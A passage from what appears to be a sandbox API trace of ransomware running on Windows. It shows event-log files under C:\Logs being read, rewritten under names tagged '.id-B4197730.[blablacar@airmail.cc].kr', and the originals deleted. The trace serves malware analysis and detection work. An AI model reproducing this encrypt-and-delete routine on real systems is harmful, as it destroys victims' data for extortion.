(lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.975] lstrlenW (lpString=".doc") returned 4 [0099.975] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.975] lstrlenW (lpString=".docx") returned 5 [0099.975] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.975] lstrlenW (lpString=".pdf") returned 4 [0099.975] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.975] lstrlenW (lpString=".xls") returned 4 [0099.975] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.975] lstrlenW (lpString=".xlsx") returned 5 [0099.975] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.975] lstrlenW (lpString=".ppt") returned 4 [0099.975] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.975] lstrlenW (lpString=".zip") returned 4 [0099.976] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.976] lstrlenW (lpString=".rar") returned 4 [0099.976] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.976] lstrlenW (lpString=".bz2") returned 4 [0099.976] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.976] lstrlenW (lpString=".7z") returned 3 [0099.976] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.976] lstrlenW (lpString=".dbf") returned 4 [0099.976] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.976] lstrlenW (lpString=".1cd") returned 4 [0099.976] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0099.976] lstrlenW (lpString=".jpg") returned 4 [0099.976] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.976] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.976] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0099.976] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.979] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0099.980] CloseHandle (hObject=0x35c) returned 1 [0099.980] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0100.018] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.019] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0100.019] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.019] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.019] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0100.019] GetLastError () returned 0x0 [0100.019] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0100.022] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0100.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0100.025] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x14a, lpOverlapped=0x0) returned 1 [0100.025] SetEndOfFile (hFile=0x358) returned 1 [0100.025] CloseHandle (hObject=0x358) returned 1 [0100.028] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.028] SetEndOfFile (hFile=0x35c) returned 1 [0100.030] CloseHandle (hObject=0x35c) returned 1 [0100.030] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0100.030] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0100.031] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.031] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.031] lstrlenW (lpString=".doc") returned 4 [0100.031] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.031] lstrlenW (lpString=".docx") returned 5 [0100.031] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.031] lstrlenW (lpString=".pdf") returned 4 [0100.031] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.031] lstrlenW (lpString=".xls") returned 4 [0100.031] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.031] lstrlenW (lpString=".xlsx") returned 5 [0100.031] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.031] lstrlenW (lpString=".ppt") returned 4 [0100.031] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.031] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.031] lstrlenW (lpString=".zip") returned 4 [0100.031] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.031] lstrlenW (lpString=".rar") returned 4 [0100.031] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.031] lstrlenW (lpString=".bz2") returned 4 [0100.031] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.031] lstrlenW (lpString=".7z") returned 3 [0100.031] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.031] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.031] lstrlenW (lpString=".dbf") returned 4 [0100.032] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.032] lstrlenW (lpString=".1cd") returned 4 [0100.032] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.032] lstrlenW (lpString=".jpg") returned 4 [0100.032] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.032] lstrlenW (lpString=".doc") returned 4 [0100.032] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString=".docx") returned 5 [0100.032] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.032] lstrlenW (lpString=".pdf") returned 4 [0100.032] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString=".xls") returned 4 [0100.032] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString=".xlsx") returned 5 [0100.032] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.032] lstrlenW (lpString=".ppt") returned 4 [0100.032] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.032] lstrlenW (lpString=".zip") returned 4 [0100.032] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.032] lstrlenW (lpString=".rar") returned 4 [0100.033] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.033] lstrlenW (lpString=".bz2") returned 4 [0100.033] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.033] lstrlenW (lpString=".7z") returned 3 [0100.033] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.033] lstrlenW (lpString=".dbf") returned 4 [0100.033] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.033] lstrlenW (lpString=".1cd") returned 4 [0100.033] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0100.033] lstrlenW (lpString=".jpg") returned 4 [0100.033] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.033] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0100.033] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0100.033] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0100.034] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0100.034] CloseHandle (hObject=0x35c) returned 1 [0100.034] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0100.034] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.034] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0100.034] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.034] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.034] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0100.035] GetLastError () returned 0x0 [0100.035] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0100.038] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0100.041] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0100.041] WriteFile (in: hFile=0x358, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x13a, lpOverlapped=0x0) returned 1 [0100.041] SetEndOfFile (hFile=0x358) returned 1 [0100.041] CloseHandle (hObject=0x358) returned 1 [0100.044] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.044] SetEndOfFile (hFile=0x35c) returned 1 [0100.046] CloseHandle (hObject=0x35c) returned 1 [0100.046] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0100.046] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0100.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.047] lstrlenW (lpString=".doc") returned 4 [0100.047] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.047] lstrlenW (lpString=".docx") returned 5 [0100.047] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.047] lstrlenW (lpString=".pdf") returned 4 [0100.047] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.047] lstrlenW (lpString=".xls") returned 4 [0100.047] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.047] lstrlenW (lpString=".xlsx") returned 5 [0100.047] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.047] lstrlenW (lpString=".ppt") returned 4 [0100.047] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.047] lstrlenW (lpString=".zip") returned 4 [0100.047] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.047] lstrlenW (lpString=".rar") returned 4 [0100.047] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.047] lstrlenW (lpString=".bz2") returned 4 [0100.048] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.048] lstrlenW (lpString=".7z") returned 3 [0100.048] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.048] lstrlenW (lpString=".dbf") returned 4 [0100.048] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.048] lstrlenW (lpString=".1cd") returned 4 [0100.048] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.048] lstrlenW (lpString=".jpg") returned 4 [0100.048] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.048] lstrlenW (lpString=".doc") returned 4 [0100.048] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.048] lstrlenW (lpString=".docx") returned 5 [0100.048] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.048] lstrlenW (lpString=".pdf") returned 4 [0100.048] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.048] lstrlenW (lpString=".xls") returned 4 [0100.048] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.048] lstrlenW (lpString=".xlsx") returned 5 [0100.048] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.049] lstrlenW (lpString=".ppt") returned 4 [0100.049] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.049] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.049] lstrlenW (lpString=".zip") returned 4 [0100.049] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.049] lstrlenW (lpString=".rar") returned 4 [0100.049] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.049] lstrlenW (lpString=".bz2") returned 4 [0100.049] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.049] lstrlenW (lpString=".7z") returned 3 [0100.049] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.049] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.049] lstrlenW (lpString=".dbf") returned 4 [0100.049] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.049] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.049] lstrlenW (lpString=".1cd") returned 4 [0100.049] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.049] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0100.049] lstrlenW (lpString=".jpg") returned 4 [0100.049] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.049] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0100.050] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0100.050] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0100.051] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0100.051] CloseHandle (hObject=0x35c) returned 1 [0100.051] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0100.051] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0100.051] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0100.051] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.051] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.051] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0100.362] GetLastError () returned 0x0 [0100.362] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0100.964] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0100.970] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0100.971] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x136, lpOverlapped=0x0) returned 1 [0100.971] SetEndOfFile (hFile=0x384) returned 1 [0100.971] CloseHandle (hObject=0x384) returned 1 [0100.974] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.974] SetEndOfFile (hFile=0x35c) returned 1 [0100.976] CloseHandle (hObject=0x35c) returned 1 [0100.976] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0100.976] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0100.977] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.977] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.977] lstrlenW (lpString=".doc") returned 4 [0100.977] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.977] lstrlenW (lpString=".docx") returned 5 [0100.977] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.977] lstrlenW (lpString=".pdf") returned 4 [0100.977] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.977] lstrlenW (lpString=".xls") returned 4 [0100.977] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.977] lstrlenW (lpString=".xlsx") returned 5 [0100.977] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.977] lstrlenW (lpString=".ppt") returned 4 [0100.977] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.977] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.977] lstrlenW (lpString=".zip") returned 4 [0100.977] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.977] lstrlenW (lpString=".rar") returned 4 [0100.977] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.977] lstrlenW (lpString=".bz2") returned 4 [0100.977] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.978] lstrlenW (lpString=".7z") returned 3 [0100.978] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.978] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.978] lstrlenW (lpString=".dbf") returned 4 [0100.978] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.978] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.978] lstrlenW (lpString=".1cd") returned 4 [0100.978] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0100.978] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.978] lstrlenW (lpString=".jpg") returned 4 [0100.978] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0100.978] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.978] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.978] lstrlenW (lpString=".doc") returned 4 [0100.978] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0100.978] lstrlenW (lpString=".docx") returned 5 [0100.978] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0100.978] lstrlenW (lpString=".pdf") returned 4 [0100.978] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0100.978] lstrlenW (lpString=".xls") returned 4 [0100.978] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0100.978] lstrlenW (lpString=".xlsx") returned 5 [0100.978] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0100.978] lstrlenW (lpString=".ppt") returned 4 [0100.979] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0100.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.979] lstrlenW (lpString=".zip") returned 4 [0100.979] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0100.979] lstrlenW (lpString=".rar") returned 4 [0100.979] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0100.979] lstrlenW (lpString=".bz2") returned 4 [0100.979] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0100.979] lstrlenW (lpString=".7z") returned 3 [0100.979] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0100.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0100.979] lstrlenW (lpString=".dbf") returned 4 [0100.979] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0100.979] lstrlenW 